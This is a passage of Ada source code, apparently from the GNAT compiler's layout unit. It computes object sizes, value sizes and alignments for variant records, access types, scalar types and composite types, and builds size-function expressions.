Set the Object_Size. If this is the first variant, -- we just set the size of this first variant. if Var = Last (Variants (Vpart)) then Esiz := EsizV; -- Otherwise the Object_Size is formed as a maximum -- of Esiz so far from previous variants, and the new -- Esiz value from the variant we just processed. -- If both values are static, we can just compute the -- maximum directly to save building junk nodes. elsif not Is_Dynamic_SO_Ref (Esiz) and then not Is_Dynamic_SO_Ref (EsizV) then Esiz := UI_Max (Esiz, EsizV); -- If either value is dynamic, then we have to generate -- an appropriate Standard_Unsigned'Max attribute call. -- If one of the values is static then it needs to be -- converted from bits to storage units to be compatible -- with the dynamic value. else if Is_Static_SO_Ref (Esiz) then Esiz := (Esiz + SSU - 1) / SSU; end if; if Is_Static_SO_Ref (EsizV) then EsizV := (EsizV + SSU - 1) / SSU; end if; Esiz := SO_Ref_From_Expr (Make_Attribute_Reference (Loc, Attribute_Name => Name_Max, Prefix => New_Occurrence_Of (Standard_Unsigned, Loc), Expressions => New_List ( Expr_From_SO_Ref (Loc, Esiz), Expr_From_SO_Ref (Loc, EsizV))), Ins_Type => E, Vtype => E); end if; -- Now deal with Value_Size (RM_Siz). We are aiming at -- an expression that looks like: -- if xxDx (V.disc) then rmsiz1 -- else if xxDx (V.disc) then rmsiz2 -- else ... -- Where rmsiz1, rmsiz2... are the RM_Siz values for the -- individual variants, and xxDx are the discriminant -- checking functions generated for the variant type. -- If this is the first variant, we simply set the result -- as the expression. Note that this takes care of the -- others case. if No (RM_Siz_Expr) then -- If this is the only variant and the size is a -- literal, then use bit size as is, otherwise convert -- to storage units and continue to the next variant. if No (Prev (Var)) and then Nkind (RM_SizV) = N_Integer_Literal then RM_Siz_Expr := RM_SizV; else RM_Siz_Expr := Bits_To_SU (RM_SizV); end if; -- Otherwise construct the appropriate test else -- The test to be used in general is a call to the -- discriminant checking function. However, it is -- definitely worth special casing the very common -- case where a single value is involved. Dchoice := First (Discrete_Choices (Var)); if No (Next (Dchoice)) and then Nkind (Dchoice) /= N_Range then -- Discriminant to be tested Discrim := Make_Selected_Component (Loc, Prefix => Make_Identifier (Loc, Vname), Selector_Name => New_Occurrence_Of (Entity (Name (Vpart)), Loc)); Dtest := Make_Op_Eq (Loc, Left_Opnd => Discrim, Right_Opnd => New_Copy (Dchoice)); -- Generate a call to the discriminant-checking -- function for the variant. Note that the result -- has to be complemented since the function returns -- False when the passed discriminant value matches. else -- The checking function takes all of the type's -- discriminants as parameters, so a list of all -- the selected discriminants must be constructed. D_List := New_List; D_Entity := First_Discriminant (E); while Present (D_Entity) loop Append_To (D_List, Make_Selected_Component (Loc, Prefix => Make_Identifier (Loc, Vname), Selector_Name => New_Occurrence_Of (D_Entity, Loc))); D_Entity := Next_Discriminant (D_Entity); end loop; Dtest := Make_Op_Not (Loc, Right_Opnd => Make_Function_Call (Loc, Name => New_Occurrence_Of (Dcheck_Function (Var), Loc), Parameter_Associations => D_List)); end if; RM_Siz_Expr := Make_If_Expression (Loc, Expressions => New_List (Dtest, Bits_To_SU (RM_SizV), RM_Siz_Expr)); end if; Prev (Var); end loop; end; end if; end Layout_Component_List; Others_Present : Boolean; pragma Warnings (Off, Others_Present); -- Indicates others present, not used in this case procedure Non_Static_Choice_Error (Choice : Node_Id); -- Error routine invoked by the generic instantiation below when -- the variant part has a nonstatic choice. package Variant_Choices_Processing is new Generic_Check_Choices (Process_Empty_Choice => No_OP, Process_Non_Static_Choice => Non_Static_Choice_Error, Process_Associated_Node => No_OP); use Variant_Choices_Processing; ----------------------------- -- Non_Static_Choice_Error -- ----------------------------- procedure Non_Static_Choice_Error (Choice : Node_Id) is begin Flag_Non_Static_Expr ("choice given in case expression is not static!", Choice); end Non_Static_Choice_Error; -- Start of processing for Layout_Variant_Record begin -- Call Check_Choices here to ensure that Others_Discrete_Choices -- gets set on any 'others' choice before the discriminant-checking -- functions are generated. Otherwise the function for the 'others' -- alternative will unconditionally return True, causing discriminant -- checks to fail. However, Check_Choices is now normally delayed -- until the type's freeze entity is processed, due to requirements -- coming from subtype predicates, so doing it at this point is -- probably not right in general, but it's not clear how else to deal -- with this situation. Perhaps we should only generate declarations -- for the checking functions here, and somehow delay generation of -- their bodies, but that would be a nontrivial change. ??? declare VP : constant Node_Id := Variant_Part (Component_List (Type_Definition (Decl))); begin Check_Choices (VP, Variants (VP), Etype (Name (VP)), Others_Present); end; -- We need the discriminant checking functions, since we generate -- calls to these functions for the RM_Size expression, so make -- sure that these functions have been constructed in time. Build_Discr_Checking_Funcs (Decl); -- Lay out the discriminants First_Discr := First_Discriminant (E); Last_Discr := First_Discr; while Present (Next_Discriminant (Last_Discr)) loop Next_Discriminant (Last_Discr); end loop; Layout_Components (From => First_Discr, To => Last_Discr, Esiz => Esiz, RM_Siz => RM_Siz); -- Lay out the main component list (this will make recursive calls -- to lay out all component lists nested within variants). Layout_Component_List (Component_List (Tdef), Esiz, RM_Siz_Expr); Set_Esize (E, Esiz); -- If the RM_Size is a literal, set its value if Nkind (RM_Siz_Expr) = N_Integer_Literal then Set_RM_Size (E, Intval (RM_Siz_Expr)); -- Otherwise we construct a dynamic SO_Ref else Set_RM_Size (E, SO_Ref_From_Expr (RM_Siz_Expr, Ins_Type => E, Vtype => E)); end if; end Layout_Variant_Record; -- Start of processing for Layout_Record_Type begin -- If this is a cloned subtype, just copy the size fields from the -- original, nothing else needs to be done in this case, since the -- components themselves are all shared. if Ekind_In (E, E_Record_Subtype, E_Class_Wide_Subtype) and then Present (Cloned_Subtype (E)) then Set_Esize (E, Esize (Cloned_Subtype (E))); Set_RM_Size (E, RM_Size (Cloned_Subtype (E))); Set_Alignment (E, Alignment (Cloned_Subtype (E))); -- Another special case, class-wide types. The RM says that the size -- of such types is implementation defined (RM 13.3(48)). What we do -- here is to leave the fields set as unknown values, and the backend -- determines the actual behavior. elsif Ekind (E) = E_Class_Wide_Type then null; -- All other cases else -- Initialize alignment conservatively to 1. This value will be -- increased as necessary during processing of the record. if Unknown_Alignment (E) then Set_Alignment (E, Uint_1); end if; -- Initialize previous component. This is Empty unless there are -- components which have already been laid out by component clauses. -- If there are such components, we start our lay out of the -- remaining components following the last such component. Prev_Comp := Empty; Comp := First_Component_Or_Discriminant (E); while Present (Comp) loop if Present (Component_Clause (Comp)) then if No (Prev_Comp) or else Component_Bit_Offset (Comp) > Component_Bit_Offset (Prev_Comp) then Prev_Comp := Comp; end if; end if; Next_Component_Or_Discriminant (Comp); end loop; -- We have two separate circuits, one for non-variant records and -- one for variant records. For non-variant records, we simply go -- through the list of components. This handles all the non-variant -- cases including those cases of subtypes where there is no full -- type declaration, so the tree cannot be used to drive the layout. -- For variant records, we have to drive the layout from the tree -- since we need to understand the variant structure in this case. if Present (Full_View (E)) then Decl := Declaration_Node (Full_View (E)); else Decl := Declaration_Node (E); end if; -- Scan all the components if Nkind (Decl) = N_Full_Type_Declaration and then Has_Discriminants (E) and then Nkind (Type_Definition (Decl)) = N_Record_Definition and then Present (Component_List (Type_Definition (Decl))) and then Present (Variant_Part (Component_List (Type_Definition (Decl)))) then Layout_Variant_Record; else Layout_Non_Variant_Record; end if; end if; end Layout_Record_Type; ----------------- -- Layout_Type -- ----------------- procedure Layout_Type (E : Entity_Id) is Desig_Type : Entity_Id; begin -- For string literal types, for now, kill the size always, this is -- because gigi does not like or need the size to be set ??? if Ekind (E) = E_String_Literal_Subtype then Set_Esize (E, Uint_0); Set_RM_Size (E, Uint_0); return; end if; -- For access types, set size/alignment. This is system address size, -- except for fat pointers (unconstrained array access types), where the -- size is two times the address size, to accommodate the two pointers -- that are required for a fat pointer (data and template). Note that -- E_Access_Protected_Subprogram_Type is not an access type for this -- purpose since it is not a pointer but is equivalent to a record. For -- access subtypes, copy the size from the base type since Gigi -- represents them the same way. if Is_Access_Type (E) then Desig_Type := Underlying_Type (Designated_Type (E)); -- If we only have a limited view of the type, see whether the -- non-limited view is available. if From_Limited_With (Designated_Type (E)) and then Ekind (Designated_Type (E)) = E_Incomplete_Type and then Present (Non_Limited_View (Designated_Type (E))) then Desig_Type := Non_Limited_View (Designated_Type (E)); end if; -- If Esize already set (e.g. by a size clause), then nothing further -- to be done here. if Known_Esize (E) then null; -- Access to subprogram is a strange beast, and we let the backend -- figure out what is needed (it may be some kind of fat pointer, -- including the static link for example. elsif Is_Access_Protected_Subprogram_Type (E) then null; -- For access subtypes, copy the size information from base type elsif Ekind (E) = E_Access_Subtype then Set_Size_Info (E, Base_Type (E)); Set_RM_Size (E, RM_Size (Base_Type (E))); -- For other access types, we use either address size, or, if a fat -- pointer is used (pointer-to-unconstrained array case), twice the -- address size to accommodate a fat pointer. elsif Present (Desig_Type) and then Is_Array_Type (Desig_Type) and then not Is_Constrained (Desig_Type) and then not Has_Completion_In_Body (Desig_Type) -- Debug Flag -gnatd6 says make all pointers to unconstrained thin and then not Debug_Flag_6 then Init_Size (E, 2 * System_Address_Size); -- Check for bad convention set if Warn_On_Export_Import and then (Convention (E) = Convention_C or else Convention (E) = Convention_CPP) then Error_Msg_N ("?x?this access type does not correspond to C pointer", E); end if; -- If the designated type is a limited view it is unanalyzed. We can -- examine the declaration itself to determine whether it will need a -- fat pointer. elsif Present (Desig_Type) and then Present (Parent (Desig_Type)) and then Nkind (Parent (Desig_Type)) = N_Full_Type_Declaration and then Nkind (Type_Definition (Parent (Desig_Type))) = N_Unconstrained_Array_Definition and then not Debug_Flag_6 then Init_Size (E, 2 * System_Address_Size); -- Normal case of thin pointer else Init_Size (E, System_Address_Size); end if; Set_Elem_Alignment (E); -- Scalar types: set size and alignment elsif Is_Scalar_Type (E) then -- For discrete types, the RM_Size and Esize must be set already, -- since this is part of the earlier processing and the front end is -- always required to lay out the sizes of such types (since they are -- available as static attributes). All we do is to check that this -- rule is indeed obeyed. if Is_Discrete_Type (E) then -- If the RM_Size is not set, then here is where we set it -- Note: an RM_Size of zero looks like not set here, but this -- is a rare case, and we can simply reset it without any harm. if not Known_RM_Size (E) then Set_Discrete_RM_Size (E); end if; -- If Esize for a discrete type is not set then set it if not Known_Esize (E) then declare S : Int := 8; begin loop -- If size is big enough, set it and exit if S >= RM_Size (E) then Init_Esize (E, S); exit; -- If the RM_Size is greater than 64 (happens only when -- strange values are specified by the user, then Esize -- is simply a copy of RM_Size, it will be further -- refined later on) elsif S = 64 then Set_Esize (E, RM_Size (E)); exit; -- Otherwise double possible size and keep trying else S := S * 2; end if; end loop; end; end if; -- For non-discrete scalar types, if the RM_Size is not set, then set -- it now to a copy of the Esize if the Esize is set. else if Known_Esize (E) and then Unknown_RM_Size (E) then Set_RM_Size (E, Esize (E)); end if; end if; Set_Elem_Alignment (E); -- Non-elementary (composite) types else -- For packed arrays, take size and alignment values from the packed -- array type if a packed array type has been created and the fields -- are not currently set. if Is_Array_Type (E) and then Present (Packed_Array_Impl_Type (E)) then declare PAT : constant Entity_Id := Packed_Array_Impl_Type (E); begin if Unknown_Esize (E) then Set_Esize (E, Esize (PAT)); end if; if Unknown_RM_Size (E) then Set_RM_Size (E, RM_Size (PAT)); end if; if Unknown_Alignment (E) then Set_Alignment (E, Alignment (PAT)); end if; end; end if; -- If Esize is set, and RM_Size is not, RM_Size is copied from Esize. -- At least for now this seems reasonable, and is in any case needed -- for compatibility with old versions of gigi. if Known_Esize (E) and then Unknown_RM_Size (E) then Set_RM_Size (E, Esize (E)); end if; -- For array base types, set component size if object size of the -- component type is known and is a small power of 2 (8, 16, 32, 64), -- since this is what will always be used. if Ekind (E) = E_Array_Type and then Unknown_Component_Size (E) then declare CT : constant Entity_Id := Component_Type (E); begin -- For some reason, access types can cause trouble, So let's -- just do this for scalar types ??? if Present (CT) and then Is_Scalar_Type (CT) and then Known_Static_Esize (CT) then declare S : constant Uint := Esize (CT); begin if Addressable (S) then Set_Component_Size (E, S); end if; end; end if; end; end if; end if; -- Lay out array and record types if front end layout set if Frontend_Layout_On_Target then if Is_Array_Type (E) and then not Is_Bit_Packed_Array (E) then Layout_Array_Type (E); elsif Is_Record_Type (E) then Layout_Record_Type (E); end if; -- Case of backend layout, we still do a little in the front end else -- Processing for record types if Is_Record_Type (E) then -- Special remaining processing for record types with a known -- size of 16, 32, or 64 bits whose alignment is not yet set. -- For these types, we set a corresponding alignment matching -- the size if possible, or as large as possible if not. if Convention (E) = Convention_Ada and then not Debug_Flag_Q then Set_Composite_Alignment (E); end if; -- Processing for array types elsif Is_Array_Type (E) then -- For arrays that are required to be atomic/VFA, we do the same -- processing as described above for short records, since we -- really need to have the alignment set for the whole array. if Is_Atomic_Or_VFA (E) and then not Debug_Flag_Q then Set_Composite_Alignment (E); end if; -- For unpacked array types, set an alignment of 1 if we know -- that the component alignment is not greater than 1. The reason -- we do this is to avoid unnecessary copying of slices of such -- arrays when passed to subprogram parameters (see special test -- in Exp_Ch6.Expand_Actuals). if not Is_Packed (E) and then Unknown_Alignment (E) then if Known_Static_Component_Size (E) and then Component_Size (E) = 1 then Set_Alignment (E, Uint_1); end if; end if; -- We need to know whether the size depends on the value of one -- or more discriminants to select the return mechanism. Skip if -- errors are present, to prevent cascaded messages. if Serious_Errors_Detected = 0 then Compute_Size_Depends_On_Discriminant (E); end if; end if; end if; -- Final step is to check that Esize and RM_Size are compatible if Known_Static_Esize (E) and then Known_Static_RM_Size (E) then if Esize (E) < RM_Size (E) then -- Esize is less than RM_Size. That's not good. First we test -- whether this was set deliberately with an Object_Size clause -- and if so, object to the clause. if Has_Object_Size_Clause (E) then Error_Msg_Uint_1 := RM_Size (E); Error_Msg_F ("object size is too small, minimum allowed is ^", Expression (Get_Attribute_Definition_Clause (E, Attribute_Object_Size))); end if; -- Adjust Esize up to RM_Size value declare Size : constant Uint := RM_Size (E); begin Set_Esize (E, RM_Size (E)); -- For scalar types, increase Object_Size to power of 2, but -- not less than a storage unit in any case (i.e., normally -- this means it will be storage-unit addressable). if Is_Scalar_Type (E) then if Size <= System_Storage_Unit then Init_Esize (E, System_Storage_Unit); elsif Size <= 16 then Init_Esize (E, 16); elsif Size <= 32 then Init_Esize (E, 32); else Set_Esize (E, (Size + 63) / 64 * 64); end if; -- Finally, make sure that alignment is consistent with -- the newly assigned size. while Alignment (E) * System_Storage_Unit < Esize (E) and then Alignment (E) < Maximum_Alignment loop Set_Alignment (E, 2 * Alignment (E)); end loop; end if; end; end if; end if; end Layout_Type; --------------------- -- Rewrite_Integer -- --------------------- procedure Rewrite_Integer (N : Node_Id; V : Uint) is Loc : constant Source_Ptr := Sloc (N); Typ : constant Entity_Id := Etype (N); begin Rewrite (N, Make_Integer_Literal (Loc, Intval => V)); Set_Etype (N, Typ); end Rewrite_Integer; ------------------------------- -- Set_And_Check_Static_Size -- ------------------------------- procedure Set_And_Check_Static_Size (E : Entity_Id; Esiz : SO_Ref; RM_Siz : SO_Ref) is SC : Node_Id; procedure Check_Size_Too_Small (Spec : Uint; Min : Uint); -- Spec is the number of bit specified in the size clause, and Min is -- the minimum computed size. An error is given that the specified size -- is too small if Spec < Min, and in this case both Esize and RM_Size -- are set to unknown in E. The error message is posted on node SC. procedure Check_Unused_Bits (Spec : Uint; Max : Uint); -- Spec is the number of bits specified in the size clause, and Max is -- the maximum computed size. A warning is given about unused bits if -- Spec > Max. This warning is posted on node SC. -------------------------- -- Check_Size_Too_Small -- -------------------------- procedure Check_Size_Too_Small (Spec : Uint; Min : Uint) is begin if Spec < Min then Error_Msg_Uint_1 := Min; Error_Msg_NE ("size for & too small, minimum allowed is ^", SC, E); Init_Esize (E); Init_RM_Size (E); end if; end Check_Size_Too_Small; ----------------------- -- Check_Unused_Bits -- ----------------------- procedure Check_Unused_Bits (Spec : Uint; Max : Uint) is begin if Spec > Max then Error_Msg_Uint_1 := Spec - Max; Error_Msg_NE ("??^ bits of & unused", SC, E); end if; end Check_Unused_Bits; -- Start of processing for Set_And_Check_Static_Size begin -- Case where Object_Size (Esize) is already set by a size clause if Known_Static_Esize (E) then SC := Size_Clause (E); if No (SC) then SC := Get_Attribute_Definition_Clause (E, Attribute_Object_Size); end if; -- Perform checks on specified size against computed sizes if Present (SC) then Check_Unused_Bits (Esize (E), Esiz); Check_Size_Too_Small (Esize (E), RM_Siz); end if; end if; -- Case where Value_Size (RM_Size) is set by specific Value_Size clause -- (we do not need to worry about Value_Size being set by a Size clause, -- since that will have set Esize as well, and we already took care of -- that case). if Known_Static_RM_Size (E) then SC := Get_Attribute_Definition_Clause (E, Attribute_Value_Size); -- Perform checks on specified size against computed sizes if Present (SC) then Check_Unused_Bits (RM_Size (E), Esiz); Check_Size_Too_Small (RM_Size (E), RM_Siz); end if; end if; -- Set sizes if unknown if Unknown_Esize (E) then Set_Esize (E, Esiz); end if; if Unknown_RM_Size (E) then Set_RM_Size (E, RM_Siz); end if; end Set_And_Check_Static_Size; ----------------------------- -- Set_Composite_Alignment -- ----------------------------- procedure Set_Composite_Alignment (E : Entity_Id) is Siz : Uint; Align : Nat; begin -- If alignment is already set, then nothing to do if Known_Alignment (E) then return; end if; -- Alignment is not known, see if we can set it, taking into account -- the setting of the Optimize_Alignment mode. -- If Optimize_Alignment is set to Space, then we try to give packed -- records an aligmment of 1, unless there is some reason we can't. if Optimize_Alignment_Space (E) and then Is_Record_Type (E) and then Is_Packed (E) then -- No effect for record with atomic/VFA components if Is_Atomic_Or_VFA (E) then Error_Msg_N ("Optimize_Alignment has no effect for &??", E); if Is_Atomic (E) then Error_Msg_N ("\pragma ignored for atomic record??", E); else Error_Msg_N ("\pragma ignored for bolatile full access record??", E); end if; return; end if; -- No effect if independent components if Has_Independent_Components (E) then Error_Msg_N ("Optimize_Alignment has no effect for &??", E); Error_Msg_N ("\pragma ignored for record with independent components??", E); return; end if; -- No effect if any component is atomic/VFA or is a by-reference type declare Ent : Entity_Id; begin Ent := First_Component_Or_Discriminant (E); while Present (Ent) loop if Is_By_Reference_Type (Etype (Ent)) or else Is_Atomic_Or_VFA (Etype (Ent)) or else Is_Atomic_Or_VFA (Ent) then Error_Msg_N ("Optimize_Alignment has no effect for &??", E); if Is_Atomic (Etype (Ent)) or else Is_Atomic (Ent) then Error_Msg_N ("\pragma is ignored if atomic " & "components present??", E); else Error_Msg_N ("\pragma is ignored if bolatile full access " & "components present??", E); end if; return; else Next_Component_Or_Discriminant (Ent); end if; end loop; end; -- Optimize_Alignment has no effect on variable length record if not Size_Known_At_Compile_Time (E) then Error_Msg_N ("Optimize_Alignment has no effect for &??", E); Error_Msg_N ("\pragma is ignored for variable length record??", E); return; end if; -- All tests passed, we can set alignment to 1 Align := 1; -- Not a record, or not packed else -- The only other cases we worry about here are where the size is -- statically known at compile time. if Known_Static_Esize (E) then Siz := Esize (E); elsif Unknown_Esize (E) and then Known_Static_RM_Size (E) then Siz := RM_Size (E); else return; end if; -- Size is known, alignment is not set -- Reset alignment to match size if the known size is exactly 2, 4, -- or 8 storage units. if Siz = 2 * System_Storage_Unit then Align := 2; elsif Siz = 4 * System_Storage_Unit then Align := 4; elsif Siz = 8 * System_Storage_Unit then Align := 8; -- If Optimize_Alignment is set to Space, then make sure the -- alignment matches the size, for example, if the size is 17 -- bytes then we want an alignment of 1 for the type. elsif Optimize_Alignment_Space (E) then if Siz mod (8 * System_Storage_Unit) = 0 then Align := 8; elsif Siz mod (4 * System_Storage_Unit) = 0 then Align := 4; elsif Siz mod (2 * System_Storage_Unit) = 0 then Align := 2; else Align := 1; end if; -- If Optimize_Alignment is set to Time, then we reset for odd -- "in between sizes", for example a 17 bit record is given an -- alignment of 4. elsif Optimize_Alignment_Time (E) and then Siz > System_Storage_Unit and then Siz <= 8 * System_Storage_Unit then if Siz <= 2 * System_Storage_Unit then Align := 2; elsif Siz <= 4 * System_Storage_Unit then Align := 4; else -- Siz <= 8 * System_Storage_Unit then Align := 8; end if; -- No special alignment fiddling needed else return; end if; end if; -- Here we have Set Align to the proposed improved value. Make sure the -- value set does not exceed Maximum_Alignment for the target. if Align > Maximum_Alignment then Align := Maximum_Alignment; end if; -- Further processing for record types only to reduce the alignment -- set by the above processing in some specific cases. We do not -- do this for atomic/VFA records, since we need max alignment there, if Is_Record_Type (E) and then not Is_Atomic_Or_VFA (E) then -- For records, there is generally no point in setting alignment -- higher than word size since we cannot do better than move by -- words in any case. Omit this if we are optimizing for time, -- since conceivably we may be able to do better. if Align > System_Word_Size / System_Storage_Unit and then not Optimize_Alignment_Time (E) then Align := System_Word_Size / System_Storage_Unit; end if; -- Check components. If any component requires a higher alignment, -- then we set that higher alignment in any case. Don't do this if -- we have Optimize_Alignment set to Space. Note that that covers -- the case of packed records, where we already set alignment to 1. if not Optimize_Alignment_Space (E) then declare Comp : Entity_Id; begin Comp := First_Component (E); while Present (Comp) loop if Known_Alignment (Etype (Comp)) then declare Calign : constant Uint := Alignment (Etype (Comp)); begin -- The cases to process are when the alignment of the -- component type is larger than the alignment we have -- so far, and either there is no component clause for -- the component, or the length set by the component -- clause matches the length of the component type. if Calign > Align and then (Unknown_Esize (Comp) or else (Known_Static_Esize (Comp) and then Esize (Comp) = Calign * System_Storage_Unit)) then Align := UI_To_Int (Calign); end if; end; end if; Next_Component (Comp); end loop; end; end if; end if; -- Set chosen alignment, and increase Esize if necessary to match the -- chosen alignment. Set_Alignment (E, UI_From_Int (Align)); if Known_Static_Esize (E) and then Esize (E) < Align * System_Storage_Unit then Set_Esize (E, UI_From_Int (Align * System_Storage_Unit)); end if; end Set_Composite_Alignment; -------------------------- -- Set_Discrete_RM_Size -- -------------------------- procedure Set_Discrete_RM_Size (Def_Id : Entity_Id) is FST : constant Entity_Id := First_Subtype (Def_Id); begin -- All discrete types except for the base types in standard are -- constrained, so indicate this by setting Is_Constrained. Set_Is_Constrained (Def_Id); -- Set generic types to have an unknown size, since the representation -- of a generic type is irrelevant, in view of the fact that they have -- nothing to do with code. if Is_Generic_Type (Root_Type (FST)) then Set_RM_Size (Def_Id, Uint_0); -- If the subtype statically matches the first subtype, then it is -- required to have exactly the same layout. This is required by -- aliasing considerations. elsif Def_Id /= FST and then Subtypes_Statically_Match (Def_Id, FST) then Set_RM_Size (Def_Id, RM_Size (FST)); Set_Size_Info (Def_Id, FST); -- In all other cases the RM_Size is set to the minimum size. Note that -- this routine is never called for subtypes for which the RM_Size is -- set explicitly by an attribute clause. else Set_RM_Size (Def_Id, UI_From_Int (Minimum_Size (Def_Id))); end if; end Set_Discrete_RM_Size; ------------------------ -- Set_Elem_Alignment -- ------------------------ procedure Set_Elem_Alignment (E : Entity_Id) is begin -- Do not set alignment for packed array types, unless we are doing -- front end layout, because otherwise this is always handled in the -- backend. if Is_Packed_Array_Impl_Type (E) and then not Frontend_Layout_On_Target then return; -- If there is an alignment clause, then we respect it elsif Has_Alignment_Clause (E) then return; -- If the size is not set, then don't attempt to set the alignment. This -- happens in the backend layout case for access-to-subprogram types. elsif not Known_Static_Esize (E) then return; -- For access types, do not set the alignment if the size is less than -- the allowed minimum size. This avoids cascaded error messages. elsif Is_Access_Type (E) and then Esize (E) < System_Address_Size then return; end if; -- Here we calculate the alignment as the largest power of two multiple -- of System.Storage_Unit that does not exceed either the object size of -- the type, or the maximum allowed alignment. declare S : Int; A : Nat; Max_Alignment : Nat; begin -- The given Esize may be larger that int'last because of a previous -- error, and the call to UI_To_Int will fail, so use default. if Esize (E) / SSU > Ttypes.Maximum_Alignment then S := Ttypes.Maximum_Alignment; -- If this is an access type and the target doesn't have strict -- alignment and we are not doing front end layout, then cap the -- alignment to that of a regular access type. This will avoid -- giving fat pointers twice the usual alignment for no practical -- benefit since the misalignment doesn't really matter. elsif Is_Access_Type (E) and then not Target_Strict_Alignment and then not Frontend_Layout_On_Target then S := System_Address_Size / SSU; else S := UI_To_Int (Esize (E)) / SSU; end if; -- If the default alignment of "double" floating-point types is -- specifically capped, enforce the cap. if Ttypes.Target_Double_Float_Alignment > 0 and then S = 8 and then Is_Floating_Point_Type (E) then Max_Alignment := Ttypes.Target_Double_Float_Alignment; -- If the default alignment of "double" or larger scalar types is -- specifically capped, enforce the cap. elsif Ttypes.Target_Double_Scalar_Alignment > 0 and then S >= 8 and then Is_Scalar_Type (E) then Max_Alignment := Ttypes.Target_Double_Scalar_Alignment; -- Otherwise enforce the overall alignment cap else Max_Alignment := Ttypes.Maximum_Alignment; end if; A := 1; while 2 * A <= Max_Alignment and then 2 * A <= S loop A := 2 * A; end loop; -- If alignment is currently not set, then we can safely set it to -- this new calculated value. if Unknown_Alignment (E) then Init_Alignment (E, A); -- Cases where we have inherited an alignment -- For constructed types, always reset the alignment, these are -- generally invisible to the user anyway, and that way we are -- sure that no constructed types have weird alignments. elsif not Comes_From_Source (E) then Init_Alignment (E, A); -- If this inherited alignment is the same as the one we computed, -- then obviously everything is fine, and we do not need to reset it. elsif Alignment (E) = A then null; else -- Now we come to the difficult cases of subtypes for which we -- have inherited an alignment different from the computed one. -- We resort to the presence of alignment and size clauses to -- guide our choices. Note that they can generally be present -- only on the first subtype (except for Object_Size) and that -- we need to look at the Rep_Item chain to correctly handle -- derived types. declare FST : constant Entity_Id := First_Subtype (E); function Has_Attribute_Clause (E : Entity_Id; Id : Attribute_Id) return Boolean; -- Wrapper around Get_Attribute_Definition_Clause which tests -- for the presence of the specified attribute clause. -------------------------- -- Has_Attribute_Clause -- -------------------------- function Has_Attribute_Clause (E : Entity_Id; Id : Attribute_Id) return Boolean is begin return Present (Get_Attribute_Definition_Clause (E, Id)); end Has_Attribute_Clause; begin -- If the alignment comes from a clause, then we respect it. -- Consider for example: -- type R is new Character; -- for R'Alignment use 1; -- for R'Size use 16; -- subtype S is R; -- Here R has a specified size of 16 and a specified alignment -- of 1, and it seems right for S to inherit both values. if Has_Attribute_Clause (FST, Attribute_Alignment) then null; -- Now we come to the cases where we have inherited alignment -- and size, and overridden the size but not the alignment. elsif Has_Attribute_Clause (FST, Attribute_Size) or else Has_Attribute_Clause (FST, Attribute_Object_Size) or else Has_Attribute_Clause (E, Attribute_Object_Size) then -- This is tricky, it might be thought that we should try to -- inherit the alignment, since that's what the RM implies, -- but that leads to complex rules and oddities. Consider -- for example: -- type R is new Character; -- for R'Size use 16; -- It seems quite bogus in this case to inherit an alignment -- of 1 from the parent type Character. Furthermore, if that -- is what the programmer really wanted for some odd reason, -- then he could specify the alignment directly. -- Moreover we really don't want to inherit the alignment in -- the case of a specified Object_Size for a subtype, since -- there would be no way of overriding to give a reasonable -- value (as we don't have an Object_Alignment attribute). -- Consider for example: -- subtype R is Character; -- for R'Object_Size use 16; -- If we inherit the alignment of 1, then it will be very -- inefficient for the subtype and this cannot be fixed. -- So we make the decision that if Size (or Object_Size) is -- given and the alignment is not specified with a clause, -- we reset the alignment to the appropriate value for the -- specified size. This is a nice simple rule to implement -- and document. -- There is a theoretical glitch, which is that a confirming -- size clause could now change the alignment, which, if we -- really think that confirming rep clauses should have no -- effect, could be seen as a no-no. However that's already -- implemented by Alignment_Check_For_Size_Change so we do -- not change the philosophy here. -- Historical note: in versions prior to Nov 6th, 2011, an -- odd distinction was made between inherited alignments -- larger than the computed alignment (where the larger -- alignment was inherited) and inherited alignments smaller -- than the computed alignment (where the smaller alignment -- was overridden). This was a dubious fix to get around an -- ACATS problem which seems to have disappeared anyway, and -- in any case, this peculiarity was never documented. Init_Alignment (E, A); -- If no Size (or Object_Size) was specified, then we have -- inherited the object size, so we should also inherit the -- alignment and not modify it. else null; end if; end; end if; end; end Set_Elem_Alignment; ---------------------- -- SO_Ref_From_Expr -- ---------------------- function SO_Ref_From_Expr (Expr : Node_Id; Ins_Type : Entity_Id; Vtype : Entity_Id := Empty; Make_Func : Boolean := False) return Dynamic_SO_Ref is Loc : constant Source_Ptr := Sloc (Ins_Type); K : constant Entity_Id := Make_Temporary (Loc, 'K'); Decl : Node_Id; Vtype_Primary_View : Entity_Id; function Check_Node_V_Ref (N : Node_Id) return Traverse_Result; -- Function used to check one node for reference to V function Has_V_Ref is new Traverse_Func (Check_Node_V_Ref); -- Function used to traverse tree to check for reference to V ---------------------- -- Check_Node_V_Ref -- ---------------------- function Check_Node_V_Ref (N : Node_Id) return Traverse_Result is begin if Nkind (N) = N_Identifier then if Chars (N) = Vname then return Abandon; else return Skip; end if; else return OK; end if; end Check_Node_V_Ref; -- Start of processing for SO_Ref_From_Expr begin -- Case of expression is an integer literal, in this case we just -- return the value (which must always be non-negative, since size -- and offset values can never be negative). if Nkind (Expr) = N_Integer_Literal then pragma Assert (Intval (Expr) >= 0); return Intval (Expr); end if; -- Case where there is a reference to V, create function if Has_V_Ref (Expr) = Abandon then pragma Assert (Present (Vtype)); -- Check whether Vtype is a view of a private type and ensure that -- we use the primary view of the type (which is denoted by its -- Etype, whether it's the type's partial or full view entity). -- This is needed to make sure that we use the same (primary) view -- of the type for all V formals, whether the current view of the -- type is the partial or full view, so that types will always -- match on calls from one size function to another. if Has_Private_Declaration (Vtype) then Vtype_Primary_View := Etype (Vtype); else Vtype_Primary_View := Vtype; end if; Set_Is_Discrim_SO_Function (K); Decl := Make_Subprogram_Body (Loc, Specification => Make_Function_Specification (Loc, Defining_Unit_Name => K, Parameter_Specifications => New_List ( Make_Parameter_Specification (Loc, Defining_Identifier => Make_Defining_Identifier (Loc, Chars => Vname), Parameter_Type => New_Occurrence_Of (Vtype_Primary_View, Loc))), Result_Definition => New_Occurrence_Of (Standard_Unsigned, Loc)), Declarations => Empty_List, Handled_Statement_Sequence => Make_Handled_Sequence_Of_Statements (Loc, Statements => New_List ( Make_Simple_Return_Statement (Loc, Expression => Expr)))); -- The caller requests that the expression be encapsulated in a -- parameterless function. elsif Make_Func then Decl := Make_Subprogram_Body (Loc, Specification => Make_Function_Specification (Loc, Defining_Unit_Name => K, Parameter_Specifications => Empty_List, Result_Definition => New_Occurrence_Of (Standard_Unsigned, Loc)), Declarations => Empty_List, Handled_Statement_Sequence => 